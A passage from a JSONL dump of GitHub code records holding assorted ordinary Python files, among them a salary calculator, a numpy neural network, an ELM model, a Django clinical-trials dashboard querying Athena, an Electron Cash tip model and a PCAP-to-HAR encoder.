dragon_loot)\r\ndisplayInventory(stuff)","repo_name":"umangbhatia786/AutomateBoringStuffWithPython","sub_path":"AutomateWithPython/dictionary/gameInventory.py","file_name":"gameInventory.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16221933713","text":"import json\nfrom typing import List\n\nfrom employee_config import Employee, EmployeeJson, Manager\n\n\ndef get_employee_list(file_name) -> List[Employee]:\n if not file_name:\n return []\n\n file = open(file_name)\n employee_list = json.load(file)\n new_employee_list = []\n for employee in employee_list:\n employee_instance = EmployeeJson(**employee).get_employee()\n new_employee_list.append(employee_instance)\n\n file.close()\n return new_employee_list\n\n\ndef get_total_salary(employee_list):\n if employee_list:\n return sum(em.salary for em in employee_list)\n return 0\n\n\ndef main():\n employee_list = get_employee_list(\"input.json\")\n\n employee_dict = {}\n for employee in employee_list:\n employee_dict[employee.id] = employee\n\n manager_dict = {}\n for employee in employee_list:\n manager_id = employee.manager\n if not manager_id:\n continue\n\n manager = None\n\n if manager_id in manager_dict:\n manager = manager_dict[manager_id]\n else:\n employee_m = employee_dict.pop(manager_id)\n manager = Manager(employee_m)\n manager_dict[manager_id] = manager\n\n employee.set_manager(manager)\n\n employee_dict_list = [employee for employee in employee_dict.values()]\n employee_dict_list.sort(key=lambda e: e.name)\n \n manager_dict_list = [manager for manager in manager_dict.values()]\n manager_dict_list.sort(key=lambda m: m.manager_instance != None)\n\n final_list = manager_dict_list + employee_dict_list\n\n for employee in final_list:\n employee.print_name()\n \n print('-'*20)\n\n total_salary = get_total_salary(final_list)\n print(f'Total salary :{total_salary}')\n\nif __name__ == '__main__':\n main()\n","repo_name":"SELENA8682/code_challenge","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30349606649","text":"n = int(input())\n\ncheck = [[0] * n for _ in range(n)]\nprice = [[0] * n for _ in range(n)]\n\nmatrix = []\nfor _ in range(n):\n matrix.append(list(map(int, input().split(' '))))\n\ndx = [0, 1, -1, 0, 0]\ndy = [1, 0, 0, -1, 0]\n\npos = []\n\nfor i in range(1, n - 1):\n for j in range(1, n - 1):\n for k in range(5):\n nx, ny = i + dx[k], j + dy[k]\n price[i][j] += matrix[nx][ny]\n pos.append([i, j])\n\nfrom itertools import combinations\n\nmin_val = float(\"inf\")\n\nfor c in combinations(pos, 3):\n possible = True\n lst = list(c)\n current_sum = 0\n\n for i in range(3):\n for j in range(i + 1, 3):\n if lst[i][0] == lst[j][0] and abs(lst[i][1] - lst[j][1]) < 3:\n possible = False\n if lst[i][1] == lst[j][1] and abs(lst[i][0] - lst[j][0]) < 3:\n possible = False\n if abs(lst[i][0] - lst[j][0]) + abs(lst[i][1] - lst[j][1]) == 2:\n possible = False\n\n if possible:\n for x, y in lst:\n current_sum += price[x][y]\n min_val = min(min_val, current_sum)\n\nprint(min_val)\n","repo_name":"Kim-Young-Hoo/boj_algorithms","sub_path":"백준/Silver/14620. 꽃길/꽃길.py","file_name":"꽃길.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7802198669","text":"import openpyxl\r\n\r\npath = \"C:/Users/khan/Desktop/QA/Data driven testing/DDT.xlsx\"\r\n\r\nworkbook = openpyxl.load_workbook(path)\r\n\r\n# First Method\r\nsheet = workbook.active\r\n\r\n#Second Method\r\n#sheet = workbook.get_sheet_by_name(\"Sheet1\")\r\n\r\nrows = sheet.max_row\r\ncols = sheet.max_column\r\n\r\nprint(rows)\r\nprint(cols)\r\n\r\nfor r in range(1, rows+1):\r\n for c in range(1, cols+1):\r\n print(sheet.cell(row = r, column = c).value, end=\" \")\r\n print()","repo_name":"mnk5190/DDT","sub_path":"DDT/Lesson1.py","file_name":"Lesson1.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29087743647","text":"from PyDAQmx import *\nimport numpy as np\nfrom ctypes import byref\nfrom collections import deque\nfrom queue import Queue\n\nDEBUG = False\n\n\nclass NiAdc(Task):\n def __init__(self, device='Dev1', ch='ai0', vmax=2.0, sample_freq=1E3, event_freq=1E2):\n Task.__init__(self)\n self._device = device\n self._ch = ch\n\n self._sample_freq = sample_freq\n\n self._event_freq = event_freq\n self._everyN = int(sample_freq / event_freq)\n self._adc_buf = np.zeros(self._everyN * 10)\n self.dst_queue = None\n\n self.CreateAIVoltageChan(\"%s/%s\" % (device, ch), '', DAQmx_Val_RSE, -vmax, vmax, DAQmx_Val_Volts, None)\n self.CfgSampClkTiming('', self._sample_freq, DAQmx_Val_Rising, DAQmx_Val_ContSamps, 0)\n self.AutoRegisterEveryNSamplesEvent(DAQmx_Val_Acquired_Into_Buffer, self._everyN, 0)\n\n def EveryNCallback(self):\n read = int32()\n self.ReadAnalogF64(DAQmx_Val_Auto, 0, DAQmx_Val_GroupByScanNumber, self._adc_buf, len(self._adc_buf),\n byref(read),\n None)\n rec_cnt = read.value\n\n if isinstance(self.dst_queue, deque):\n self.dst_queue.extend(self._adc_buf[:rec_cnt].tolist())\n elif isinstance(self.dst_queue, Queue):\n for i in range(rec_cnt):\n self.dst_queue.put(self._adc_buf[i])\n else:\n assert False\n # if rec_cnt != self._everyN:\n return 0 # The function should return an integer\n\n def start(self):\n print('NiAdC: starts')\n self.StartTask()\n\n\nif __name__ == '__main__':\n pass\n","repo_name":"Freesail/thz_torch","sub_path":"Rx/NiAdc.py","file_name":"NiAdc.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21969099810","text":"import os\nimport json\nimport numpy as np\n\nfrom activation import *\nfrom optimizer import *\n\n\nclass Net(object):\n \"\"\" Trainable numpy simple DNN of 2-classes classification\"\"\"\n\n def __init__(self, seed=94):\n super(Net, self).__init__()\n \n np.random.seed(seed)\n \n # for train data\n self.architecture = []\n self.params_values = {}\n self.memory = {}\n self.grads_values = {}\n self.cost_history = []\n self.accuracy_history = []\n\n # for early_stop\n self.non_progress_steps = 0\n self.maximun_acc = 0.0\n\n # for auto_save\n self.steps = 0\n\n def add_layer(self, input_dim, output_dim, activation='relu'):\n ''' Add a layer and initialize weights and biases\n\n params:\n\n input_dim: # of previous layer's nodes\n output_dim: # of current layer's node\n activation: activation function name\n\n weight shape:\n\n [[W11, W21, W31, ...],]\n [W12, W22, W32, ...],]\n [W13, W23, W33, ...], ...]\n\n Wij = W[#.node][#.w]\n\n '''\n self.architecture.append({\n 'input_dim': input_dim,\n 'output_dim': output_dim,\n 'activation': activation\n })\n layer_idx = len(self.architecture)\n\n # rand`n` -> normal distribution\n # multipling 0.1, because bigger number causes flatter sigmoid\n self.params_values['W' + str(layer_idx)] = np.random.randn(\n input_dim, output_dim) * 0.1\n\n # 1 bais * # of nodes\n self.params_values['b' + str(layer_idx)] = np.random.randn(\n 1, output_dim) * 0.1\n\n return self\n\n def load_model(self, filename):\n filename += '.json'\n self.architecture = []\n\n with open(filename) as f:\n model = json.loads(f.read())\n for i, layer in enumerate(model):\n self.architecture.append({\n 'input_dim': layer['input_dim'],\n 'output_dim': layer['output_dim'],\n 'activation': layer['activation'],\n })\n self.params_values['W' + str(i+1)] = np.array(model['weights'])\n self.params_values['b' + str(i+1)] = np.array(model['biases'])\n\n def save_model(self, filename):\n model = []\n for i, layer in enumerate(self.architecture):\n model.append(layer.copy())\n model[-1]['weights'] = self.params_values['W' + str(i+1)].tolist()\n model[-1]['biases'] = self.params_values['b' + str(i+1)].tolist()\n\n\n filename += '.json'\n os.makedirs(os.path.dirname(filename), exist_ok=True)\n with open(filename, 'w') as f:\n f.write(json.dumps(model))\n\n def train(self, X, Y, epochs, batch_size=0, learning_rate=0.01,\n optimizer='default', val_x=None, val_y=None,\n early_stop_interval=0, auto_save_interval=0, log=False):\n ''' train model with binary crossentropy\n\n params:\n \n X np.array: [[x11, x12, x13, ...], [x21, x22, x23, ...], ...]\n Y np.array: [y1, y2, y3, ...]\n epochs int: # of epochs\n batch_size int: batch's size, \n if not given, batch's size = X'd size\n learning_rate float: learning_rate\n optimizer str: 'dafualt' of 'Adam'\n val_x np.array: [[x11, x12, x13, ...], [x21, x22, x23, ...], ...]\n val_y np.array: [y1, y2, y3, ...]\n early_stop_interval int: stop after n epochs without progress, \n default 0 (no early_stop)\n auto_save_interval int: check accuracy and save model after n epochs,\n default 0 (no auto_save)\n log boolean: if True, then log current cost and accuracy \n\n '''\n if not batch_size:\n batch_size = X.shape[0]\n batch_steps = int(np.ceil(X.shape[0] / batch_size))\n\n Y = Y.reshape(Y.shape + (1, ))\n\n for i in range(epochs):\n for j in range(batch_steps):\n bs_x = X[j * batch_size: (j + 1) * batch_size]\n bs_y = Y[j * batch_size: (j + 1) * batch_size]\n cost, train_acc = self.train_once(bs_x, bs_y, learning_rate, optimizer)\n self.cost_history.append(cost)\n self.accuracy_history.append(train_acc)\n\n val_acc = 0.0\n if val_x is not None:\n val_y_hat, val_acc = self.predict(val_x, val_y)\n\n if log:\n print('epochs %d >>> cost: %.3f, acc: %.3f, val_acc: %.3f' % (i, cost, train_acc, val_acc))\n\n if val_acc:\n acc = val_acc\n else:\n acc = train_acc\n\n if auto_save_interval:\n self.auto_save(acc, auto_save_interval)\n\n if early_stop_interval and self.early_stop(acc, early_stop_interval):\n break\n\n self.maximun_acc = max(self.maximun_acc, acc)\n\n def predict(self, X, Y=None):\n Y_hat = self.full_forward_propagation(X)\n \n acc = None\n if Y is not None:\n Y = Y.reshape(Y.shape + (1, ))\n acc = Net.get_accurary_value(Y_hat, Y)\n\n return Net.convert_prob_into_class(Y_hat), acc\n\n def update(self, learning_rate=0.01, optimizer='default'):\n ''' update weights and biases\n\n default optimizer:\n\n W = W - apha * dW\n b = b - apha * db\n\n apha is learning rate\n '''\n if optimizer == 'default':\n optimizer_func = default_optimizer\n elif optimizer == 'Adam':\n optimizer_func = adam\n else:\n raise Exception('Non-supported optimizer')\n\n self.params_values = optimizer_func(\n self.params_values, self.grads_values, self.architecture, learning_rate)\n\n def train_once(self, X, Y, learning_rate=0.01, optimizer='default'):\n Y_hat = self.full_forward_propagation(X)\n cost = self.get_cost_value(Y_hat, Y)\n acc = self.get_accurary_value(Y_hat, Y)\n\n self.full_backward_propagation(Y_hat, Y)\n self.update(learning_rate, optimizer)\n\n return cost, acc\n\n def full_forward_propagation(self, X):\n memory = {}\n A_curr = X\n\n for idx, layer in enumerate(self.architecture):\n layer_idx = idx + 1\n\n self.memory['A' + str(idx)] = A_curr \n # using inx cause if previous lyaer's output\n\n activ_function_curr = layer['activation']\n W_curr = self.params_values['W' + str(layer_idx)]\n b_curr = self.params_values['b' + str(layer_idx)]\n A_curr, Z_curr = self.single_layer_forward_propagation(A_curr, W_curr, b_curr, activ_function_curr)\n\n self.memory['Z' + str(layer_idx)] = Z_curr\n\n return A_curr\n\n def full_backward_propagation(self, Y_hat, Y):\n ''' backward propagation\n\n tho L/ tho Y_hat = - (Y/ Y_hat - (1 - Y)/ (1 - Y_hat))\n\n '''\n\n grads_values = {}\n m = Y.shape[1]\n\n dA_prev = - (np.divide(Y, Y_hat) - np.divide(1 - Y, 1 - Y_hat));\n \n for layer_idx_prev, layer in reversed(list(enumerate(self.architecture))):\n layer_idx_curr = layer_idx_prev + 1\n activ_function_curr = layer['activation']\n\n dA_curr = dA_prev\n\n A_prev = self.memory['A' + str(layer_idx_prev)] # previous node's output\n Z_curr = self.memory['Z' + str(layer_idx_curr)]\n W_curr = self.params_values['W' + str(layer_idx_curr)]\n b_curr = self.params_values['b' + str(layer_idx_curr)]\n\n dA_prev, dW_curr, db_curr = self.single_layer_backward_propagation(\n dA_curr, W_curr, b_curr, Z_curr, A_prev, activ_function_curr)\n\n self.grads_values[\"dW\" + str(layer_idx_curr)] = dW_curr\n self.grads_values[\"db\" + str(layer_idx_curr)] = db_curr\n\n def early_stop(self, acc, steps):\n if acc <= self.maximun_acc:\n self.non_progress_steps += 1\n else:\n self.non_progress_steps = 0\n \n if self.non_progress_steps >= steps:\n return True\n \n return False\n\n def auto_save(self, acc, steps):\n if self.steps % steps == 0 and acc > self.maximun_acc:\n self.save_model('temp/auto_save_model')\n\n @staticmethod\n def single_layer_forward_propagation(A_pre, W_curr, b_curr, activation='relu'):\n Z_curr = np.dot(A_pre, W_curr) + b_curr\n if activation == 'relu':\n activation_func = relu\n elif activation == 'sigmoid':\n activation_func = sigmoid\n else:\n raise Exception('Non-supported activation function')\n\n # return output, output before activation for bp\n return activation_func(Z_curr), Z_curr\n\n @staticmethod\n def single_layer_backward_propagation(dA_curr, W_curr, b_curr, Z_curr, A_prev, activation='relu'):\n m = A_prev.shape[1]\n if activation == 'relu':\n backward_activation_func = relu_backward\n elif activation == 'sigmoid':\n backward_activation_func = sigmoid_backward\n else:\n raise Exception('Non-supported activation function')\n \n dZ_curr = backward_activation_func(dA_curr, Z_curr)\n dW_curr = np.dot(A_prev.transpose(), dZ_curr) / m\n db_curr = np.sum(dZ_curr, axis=0, keepdims=True) / m\n # keepdims sum([[1, 2], [2, 1]], keepdims=True) = [[6]] \n dA_prev = np.dot(dZ_curr, W_curr.transpose())\n\n return dA_prev, dW_curr, db_curr\n\n @staticmethod\n def get_cost_value(Y_hat, Y):\n ''' compute loss for binary crossentropy for 2 class classifiction\n\n J(W, b) = (1 / m) * sigma i=1~m L(Y_hat_i, Y_i)\n L(Y_hat, Y) = -((Y * log(Y_hat)) + (1 - y)log(1 - Y_hat))\n\n params:\n Y_hat: prediction\n Y: target\n\n np.squeeze([[1, 2, 3]])\n >>> [1, 2, 3]\n '''\n\n m = Y_hat.shape[0]\n a = np.dot(Y.transpose(), np.log(Y_hat))\n b = np.dot(1 - Y.transpose(), 1 - np.log(1 - Y_hat))\n cost = -1 / m * (np.dot(Y.transpose(), np.log(Y_hat)) + np.dot(1 - Y.transpose(), 1 - np.log(1 - Y_hat)))\n return np.squeeze(cost)\n\n\n @staticmethod\n def get_accurary_value(Y_hat, Y):\n ''' compute mean square error\n \n params:\n Y_hat: prediction\n Y: target\n '''\n\n Y_hat = Net.convert_prob_into_class(Y_hat)\n return (Y_hat == Y).all(axis=1).mean()\n\n @staticmethod\n def convert_prob_into_class(probs):\n ''' find max each row\n\n # for multi-classification.\n # but the fuction is for 2 classes classifiction\n x = [[1, 2], [4, 3], [5, 1]]\n np.argmax(x, axis=1)\n >>> [1, 0, 0]\n\n '''\n _probs = np.copy(probs)\n _probs[_probs > 0.5] = 1\n _probs[_probs <= 0.5] = 0\n return _probs\n\n\n\n","repo_name":"leafinity/simple_numpy_nn","sub_path":"net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":11181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19954233316","text":"import pandas as pd\n\ntest = pd.read_csv(\"test.csv\")\ny_test = test.loc[:,'ConvertedComp']\nx_test = test.drop(['MainBranch','ConvertedComp'],axis=1)\n\nimport pickle\nfrom sklearn.metrics import f1_score\n\ndef main():\n\n loaded_model = pickle.load(open('finalized_model.sav', 'rb')) # load the trained model\n\n test_predict = loaded_model.predict(x_test)\n\n score_test = loaded_model.score(x_test, y_test)\n F1_score_test = f1_score(y_test, test_predict, average='weighted')\n\n print(\"Random forest algorithm: the predit F1 score is\\n\" + str(F1_score_test))\n print(\"Random forest algorithm: the predit general score is\\n\" + str(score_test))\n\nmain()\n\n\n\n\n\n","repo_name":"MuhaoGuo/Predict-Salary","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72614735574","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jul 21 14:26:38 2018\r\n\r\n@author: admin\r\n\"\"\"\r\nfrom scipy.io import savemat\r\nimport numpy as np\r\ndef ELM_train(X_train,Y_train,num_hid,C):\r\n X_train_new = np.zeros((X_train.shape[0],X_train.shape[1]+1))\r\n X_train_new[:,0:X_train.shape[1]]=X_train\r\n X_train_new[:,X_train.shape[1]]=1\r\n parameter=initialize_parameters_random(X_train.shape[1],num_hid)\r\n W=parameter['W']\r\n b=parameter['b']\r\n W_new = np.zeros((X_train.shape[1]+1,num_hid))\r\n W_new[0:X_train.shape[1],:]=W\r\n W_new[X_train.shape[1],:]=b\r\n temp_H=(np.dot(X_train_new,W_new))\r\n H=sigmoid(temp_H)\r\n # savemat(\"H_new.mat\",dict(H=H))\r\n # savemat(\"T_new.mat\",dict(T=Y_train))\r\n H_n=np.dot(H.T,H)\r\n one_matrix=np.identity(H_n.shape[0])\r\n one_matrix=one_matrix* 1/C\r\n new_H=H_n + one_matrix\r\n inverse_H=np.linalg.inv(new_H)\r\n Beta_hat=np.dot(np.dot(inverse_H,H.T),Y_train)\r\n Y=np.dot(H,Beta_hat)\r\n Y=(Y)\r\n return W_new,Beta_hat,Y\r\n#%%\r\ndef ELM_test(X,W_new,Beta_hat):\r\n X_new = np.zeros((X.shape[0],X.shape[1]+1))\r\n X_new[:,0:X.shape[1]]=X\r\n X_new[:,X.shape[1]]=1\r\n temp_H=(np.dot(X_new,W_new))\r\n h=sigmoid(temp_H)\r\n #savemat(\"H_test.mat\",dict(h=h))\r\n Y_predict=np.dot(h,Beta_hat)\r\n Y_predict=(Y_predict)\r\n return Y_predict \r\n#%%\r\ndef sigmoid(Z):\r\n A = 1/(1+np.exp(-Z))\r\n return A\r\n#%%\r\ndef softmax(Z):\r\n A = np.exp(Z) / np.sum(np.exp(Z), axis=1,keepdims = True)\r\n return A \r\n#%%\r\ndef gaussian(Z):\r\n A=np.exp(-pow(Z,2.0))\r\n return A\r\n#%%\r\ndef relu(Z):\r\n A = np.maximum(0,Z)\r\n return A \r\n#%%\r\ndef initialize_parameters_random(num_X,num_hid): \r\n parameters = {}\r\n# parameters['W'] = np.random.uniform(np.sqrt(-6/num_hid+num_X),np.sqrt(6/num_hid+num_X),(num_X,num_hid))\r\n parameters['W'] = np.random.randn(num_X,num_hid)\r\n parameters['b'] = np.random.randn(1,num_hid)\r\n return parameters \r\n#%% ","repo_name":"hamidmousavi0/Extreme_Learninhg_Machine","sub_path":"basic_elm.py","file_name":"basic_elm.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"7474309264","text":"from django.shortcuts import render\nfrom pyathena import connect\nimport os\nimport numpy as np\nfrom dashboard.ConnectSagemaker import invoke_sagemake_endpoint\nfrom decimal import getcontext, Decimal\n\nunique_countries = []\nunique_conditions = []\nunique_interventions = []\ncursor = connect(aws_access_key_id=os.environ[\"accessKey\"],\n aws_secret_access_key=os.environ[\"secretKey\"],\n s3_staging_dir='s3://aws-athena-query-results-565635975808-us-east-2/',\n region_name='us-east-2').cursor()\n\n\ndef index(request):\n return render(request, 'dashboard/index.html')\n\n\ndef readAccessKey():\n return 0\n\n\ndef readSecretKey():\n return 0\n\n\n# reported event:\n# table: browse_condition(healthy), eligibilities(gender), countries(country), age(optional),\n\n\ndef getColumnName(tablename):\n query = \"select column_name from information_schema.columns where table_name = \" + \"'\" + tablename + \"'\"\n cursor = connect(aws_access_key_id=os.environ[\"accessKey\"],\n aws_secret_access_key=os.environ[\"secretKey\"],\n s3_staging_dir='s3://aws-athena-query-results-565635975808-us-east-2/',\n region_name='us-east-2').cursor()\n cursor.execute(query)\n columnName = []\n for row in cursor:\n line = str(row)\n print(line)\n start = line.index(\"'\", 0, len(line))\n end = line.index(\"'\", start + 1, len(line))\n columnName.append(line[start + 1: end])\n print(columnName)\n return columnName\n\n\n# Create your views here.\n\ndef home(request):\n global unique_countries, unique_conditions, unique_interventions, cursor\n if len(unique_countries) == 0:\n unique_conditions = np.load('dashboard/templates/npy/conditions_catagories.npy')\n unique_countries = np.load('dashboard/templates/npy/countries_catagories.npy')\n unique_interventions = np.load('dashboard/templates/npy/interventions_catagories.npy')\n if request.method == \"GET\":\n return render(request, 'dashboard/patient-home.html',\n {\"show\": False, \"conditions\": unique_conditions, \"countries\": unique_countries,\n \"interventions\": unique_interventions})\n if request.method == 'POST':\n # cursor = connect(aws_access_key_id=os.environ[\"accessKey\"],\n # aws_secret_access_key=os.environ[\"secretKey\"],\n # s3_staging_dir='s3://aws-athena-query-results-565635975808-us-east-2/',\n # region_name='us-east-2').cursor()\n\n # if 'tablename' in request.POST:\n # tablename = request.POST['tablename']\n # columnNames = getColumnName(tablename)\n # attributeLine = []\n # for column in columnNames:\n # query = \"select \" + column + \" from clinic.\" + tablename + \" limit 10\"\n # print(query)\n # cursor.execute(query)\n # attributes = []\n # for row in cursor:\n # line = str(row)\n # start = -1\n # end = len(line)\n # if line.find(\"'\") != -1:\n # start = line.index(\"'\", 0, len(line))\n # end = line.index(\"'\", start + 1, len(line))\n # attributes.append(line[start + 1: end])\n # attributeLine.append(attributes)\n # a = map(list, zip(*attributeLine))\n # context = {\"tablename\": tablename, \"columnNames\": columnNames, \"attributeLine\": a, \"show\": True}\n # return render(request, 'dashboard/patient-home.html', context)\n # else:\n condition = request.POST.getlist('health_condition[]')\n gender = request.POST['gender']\n country = request.POST['country']\n intervention = request.POST.getlist('interventions[]')\n facility_num = request.POST['facility_num']\n us_facility = request.POST['us_facility']\n sponsor_num = request.POST['sponsor_num']\n vector = []\n vector.append(int(facility_num))\n if us_facility == 'yes':\n vector.append(1)\n else:\n vector.append(0)\n vector.append(int(sponsor_num))\n vector.append(condition)\n vector.append(intervention)\n vector.append(country)\n print(vector)\n # build condition list\n conditionlist = \"(\"\n for c in condition:\n conditionlist += '\\''\n conditionlist += c\n conditionlist += '\\''\n conditionlist += \",\"\n # get rid of the last ,\n conditionlist = conditionlist[0: len(conditionlist) - 1]\n conditionlist += ')'\n\n print(\"HERE COMES THE EAD!!!!!!\")\n print(conditionlist)\n query = \"select s.nct_id, brief_title, array_agg(distinct adverse_event_term) adverse_event\" \\\n + \" from clinic.studies s\" \\\n + \" join clinic.reported_events r\" \\\n + \" on s.nct_id = r.nct_id\" \\\n + \" join\" \\\n + \" (\" \\\n + \" select nct_id\" \\\n + \"\tfrom clinic.countries\" \\\n + \"\twhere name = '\" + country + \"'\" \\\n + \" ) c\" \\\n + \" on s.nct_id = c.nct_id\" \\\n + \" join\" \\\n + \" (\" \\\n + \" select nct_id\" \\\n + \" \tfrom clinic.browse_conditions\" \\\n + \" \twhere downcase_mesh_term in \" + conditionlist \\\n + \" ) bc\" \\\n + \" on s.nct_id = bc.nct_id\" \\\n + \" join\" \\\n + \" (\" \\\n + \"\tselect nct_id\" \\\n + \" \tfrom clinic.eligibilities\" \\\n + \" \twhere gender = '\" + gender + \"'\" \\\n + \" ) e\" \\\n + \" on s.nct_id = e.nct_id\" \\\n + \" group by s.nct_id, brief_title\" \\\n + \" limit 10;\"\n print(query)\n cursor.execute(query)\n columnNames = ['nct_id', 'brief_title', 'adverse_events']\n attributeLine = []\n for row in cursor:\n attributes = []\n attributes.append(row[0])\n attributes.append(row[1])\n attributes.append(row[2])\n attributeLine.append(attributes)\n\n endpoint_name = 'yangz5test'\n percentage = invoke_sagemake_endpoint(vector, endpoint_name) * 100\n print(percentage)\n percentage = Decimal(percentage).quantize(Decimal('0.00'))\n\n context = {\"tablename\": 'result table', \"columnNames\": columnNames, \"attributeLine\": attributeLine,\n \"show\": True, \"percentage\": percentage, \"conditions\": unique_conditions,\n \"countries\": unique_countries, \"interventions\": unique_interventions}\n return render(request, 'dashboard/patient-home.html', context)\n","repo_name":"jsperson/DataLakeCarnegieMellon","sub_path":"website/dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71705266133","text":"import pandas as pd\n\nfrom DataAggregation.DataAggregator import DataAggregator\n\n\nclass AxisAggregator(DataAggregator):\n def __init__(self):\n super().__init__()\n self.columns = ['RunTime', 'LookDeltaH', 'LookDeltaV']\n self.pattern = '^AxisInputs'\n\n def get_entries(self, raw: pd.DataFrame) -> pd.DataFrame:\n horizontal_deltas = []\n vertical_deltas = []\n i = 0\n for row in raw.values:\n time = row[3]\n if time > i:\n for n in range(i, int(time) + 1):\n horizontal_deltas.append(0)\n vertical_deltas.append(0)\n i = int(time) + 1\n\n if row[1] == 'AimHorizontalMouse':\n horizontal_deltas[i-1] += abs(row[2])\n elif row[1] == 'AimVerticalMouse':\n vertical_deltas[i-1] += abs(row[2])\n\n data = {\n self.columns[0]: [*range(0, i)],\n self.columns[1]: horizontal_deltas,\n self.columns[2]: vertical_deltas\n }\n\n return pd.DataFrame(data)\n","repo_name":"Dmitriy211/ERIP","sub_path":"Python/DataAggregation/AxisAggregator.py","file_name":"AxisAggregator.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40146621618","text":"from electroncash.util import PrintError, print_error\nfrom decimal import Decimal\nimport weakref\nfrom PyQt5.QtCore import QObject, pyqtSignal\n\nclass Tip(PrintError):\n\tdef __init__(self, tiplist):\n\t\tself.tiplist_weakref = weakref.ref(tiplist)\n\n\t\tself.platform = 'unknown'\n\n\t\t# defaults\n\t\tself.status = \"init\"\n\t\tself.tipping_comment_id = None\n\t\tself.username = None\n\t\tself.recipient_address = None\n\t\tself.tipping_comment_id = None\n\t\tself.direction = None\n\t\tself.amount_bch = \"\"\n\t\tself.amount_bch = \"\"\n\t\tself.tip_amount_text = None\n\t\tself.tip_quantity = None\n\t\tself.tip_unit = None\n\t\tself.tip_op_return = None\n\t\tself.payment_status = None\n\n\t\tself.payments_by_txhash = {}\n\t\tself.amount_received_bch = None\n\n\tdef getID(self):\n\t\traise Exception(\"getID() not implemented by subclass\")\n\n\tdef to_dict(self):\n\t\traise Exception(\"to_dict() not implemented by subclass\")\n\n\tdef from_dict(self):\n\t\traise Exception(\"from_dict() not implemented by subclass\")\n\n\tdef update(self):\n\t\tif self.tiplist_weakref():\n\t\t\tself.tiplist_weakref().updateTip(self)\n\t\telse:\n\t\t\tself.print_error(\"weakref to tiplist broken, can't update tip\", self)\n\n\tdef remove(self):\n\t\tif self.tiplist_weakref():\n\t\t\tself.tiplist_weakref().removeTip(self)\n\t\telse:\n\t\t\tself.print_error(\"weakref to tiplist broken, can't remove tip\", self)\n\n\tdef registerPayment(self, txhash: str, amount_bch: Decimal, source: str):\n\t\t#self.print_error(f\"registerPayment({txhash}, {amount_bch})\")\n\t\tif not txhash in self.payments_by_txhash.keys():\n\t\t\tself.payments_by_txhash[txhash] = amount_bch\n\t\t\tif not self.amount_received_bch or type(self.amount_received_bch) != Decimal:\n\t\t\t\tself.amount_received_bch = amount_bch\n\t\t\telse:\n\t\t\t\tself.amount_received_bch += amount_bch\n\t\t\tif len(self.payments_by_txhash) == 1:\n\t\t\t\tself.payment_status = \"paid\"\n\t\t\telse:\n\t\t\t\tself.payment_status = f'paid ({len(self.payments_by_txhash)} txs)'\n\t\t\tself.update()\n\n\n\nclass TipList(PrintError, QObject):\n\tupdate_signal = pyqtSignal()\n\tadded_signal = pyqtSignal()\n\n\tdef __init__(self):\n\t\tsuper(TipList, self).__init__()\n\t\tself.tip_listeners = []\n\t\tself.tips = {} # tip instances by id (uses getID())\n\n\tdef debug_stats(self):\n\t\treturn f\" Tiplist: {len(self.tips)} tips\"\n\n\tdef registerTipListener(self, tip_listener):\n\t\tself.tip_listeners.append(tip_listener)\n\n\tdef unregisterTipListener(self, tip_listener):\n\t\tself.tip_listeners.remove(tip_listener)\n\n\tdef addTip(self, tip):\n\t\tif tip.getID() in self.tips.keys():\n\t\t\traise Exception(\"addTip(): duplicate tip.getID()\")\n\t\tself.tips[tip.getID()] = tip\n\t\tfor tip_listener in self.tip_listeners:\n\t\t\ttip_listener.tipAdded(tip)\n\t\tself.added_signal.emit()\n\n\tdef removeTip(self, tip):\n\t\tdel self.tips[tip.getID()]\n\t\tfor tip_listener in self.tip_listeners:\n\t\t\ttip_listener.tipRemoved(tip)\n\n\tdef updateTip(self, tip):\n\t\tfor tip_listener in self.tip_listeners:\n\t\t\ttip_listener.tipUpdated(tip)\n\t\tself.update_signal.emit()\n\nclass TipListener():\n\tdef tipAdded(self, tip):\n\t\traise Exception(f\"tipAdded() not implemented in class {type(self)}\")\n\n\tdef tipRemoved(self, tip):\n\t\traise Exception(f\"tipRemoved() not implemented in class {type(self)}\")\n\n\tdef tipUpdated(self, tip):\n\t\traise Exception(f\"tipUpdated() not implemented in class {type(self)}\")\n\n","repo_name":"molecular/chaintipper","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3196,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"24101282654","text":"#!/usr/bin/env python3\n\nimport sys\nimport json\n\nfrom har_session import Session\n\nclass HAREncoder(json.JSONEncoder):\n def default(self, obj):\n if not isinstance(obj, Session):\n return json.JSONEncoder.default(self, obj)\n\n result = {\n 'log': {\n 'version': '1.2',\n 'creator': {\n 'name': 'PCAP2HARV3',\n 'version': '0.1'\n },\n #'entries': [str(x) for x in obj.tcpdict.values()]\n 'entries': obj.entries\n }\n }\n\n return 